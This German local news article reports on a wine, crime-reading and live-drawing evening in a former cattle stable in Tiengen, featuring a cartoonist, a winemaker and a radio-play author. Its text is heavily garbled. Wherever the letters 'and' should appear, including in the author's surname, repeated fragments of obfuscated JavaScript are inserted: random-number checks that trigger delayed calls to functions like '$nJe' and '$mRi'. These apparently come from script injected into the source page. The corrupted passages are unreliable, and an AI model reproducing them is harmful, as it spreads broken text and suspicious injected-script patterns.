Von Eva Opitz
Jeder der rund 30 Gäste hat ein Glas mit Wein in der Handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, als der Winzer Josef Simon im ehemaligen Farrenstall an der Freiburger Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andstraße die zweite Veranstaltung „Krimi, Wein, Kunscht 2.0“ eröffnet. Mit dabei sind Harald „Harry, der Zeichner“ Meyer, der auch als Gastgeber fungiert, und der Schriftsteller Ulrich Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and.
Ein Trio, das Spaß macht (von rechts): Karikaturist Harald Meyer, Winzer Josef Simon und Autor Ulrich Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and. Foto: Michael Bamberger
Zusammen sind die drei Männer aus Tiengen mit einer Idee erfolgreich, die sie vergangenes Jahr erstmals umgesetzt haben.
Waltershofen hat es vorgemacht, wie aus einem ehemaligen Farrenstall ein Bürgertreff wird. In Tiengen hat „Harry, der Zeichner“, im bürgerlichen Leben Harald Meyer und einer der Geschäftsführer des benachbarten Honda-Betriebes, sein Atelier im Farrenstall zur Bühne gemacht. Inmitten von vielen Porträtzeichnungen von Udo Lindenberg, mit dem Meyer seit 2011 bekannt ist, wetteifern Autor Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, Karikaturist Meyer und Winzer Simon abwechselnd um die Gunst des Publikums.
Ulrich Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ist vor sechs Jahren nach Tiengen gezogen. Die beiden andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderen kennen sich schon seit der gemeinsamen Zeit in der Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andjugend. Ihre Präsentation ist nicht ganz uneigennützig, denn alles ist käuflich: die Bücher von Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, der Wein von Simon und „Harry“ als Gelegenheitszeichner. Er agiert mit entsprechendem Auftrag als Schnellzeichner bei Festen, Vorträgen oder als Zeichner auf Kreuzfahrtschiffen.
Was er kann, zeigt „Harry, der Zeichner“ an diesem Abend. Unter seinen Händen zaubert der Kohlestift den Farrenstall mit Publikum auf die weiße Fläche des Flipcharts, nimmt die Motive Wein und Krimi mit hinein. Er kann nicht ganz so schnell zeichnen, wie er redet, aber das Tempo ist beachtlich.
Der Hörspielautor Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and liest währenddessen aus seinem Buch „Lolitas späte Rache“, ein Quer-durch-Europa-Krimi mit einzelnen Szenen aus dem Leben der russischen Familie Nabokov im 20. Jahrhundert. Die Nabokovs sind durch den damaligen Bestseller „Lolita“ von Waldimir Nabokov in Erinnerung geblieben. Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Stimme moduliert Emotionen, Streit und Spannung. Mit seiner Erfahrung als bekannter Hörspielautor, der selbst Rollen in seinen Stücken übernimmt, fesselt er mit lebhaften Dialogen sein Publikum. Wer die Augen schließt, wähnt sich allein mit ihm und seiner Radiostimme. Einiges sei erfunden, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderes historisch korrekt, so Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and. „Ich hoffe, dass man im Laufe der Lesung nicht mehr unterscheiden will, was echt und was ausgedacht ist.“
„Harrry“ zeichnet derweil weiter, und Josef Simon ist vom Eingangswein mit dem Namen „Zwitscherli“ zu einem Rivaner übergegangen. Unterhaltend und in Tiengener Mundart spricht er über den Charakter des Weines, zieht Parallelen zwischen Frauen und Wein, die die Besucher amüsieren. Ganz in der Tradition der gängigen Lyrik zur Beschreibung eines Weines fallen Verweise auf das Aroma der Johannis- oder Stachelbeere, der Minze oder der Grapefruit.
Im Unterschied zu einer reinen Verkaufs-Show betont Simon immer wieder, dass es keine ist. „Wir machen natürlich Werbung für uns“, gibt der Winzer zu, „wir wollen jedoch auch zeigen, dass in diesem Rahmen eine Veranstaltung für die Tiengener möglich ist.“ Man müsse nicht immer nach Freiburg fahren. Es müssten auch nicht immer Veranstaltungen der Hochkultur sein. Er hoffe zudem, neue Talente dazu zu animieren, zu zeigen, was sie können.
Harrys Zeichnung gewinnt mehr und mehr an Perspektive. Wer etwas kauft, nimmt an einer Tombola teil, und der Gewinner kann das gezeichnete Werk am Ende mit nach Hause nehmen.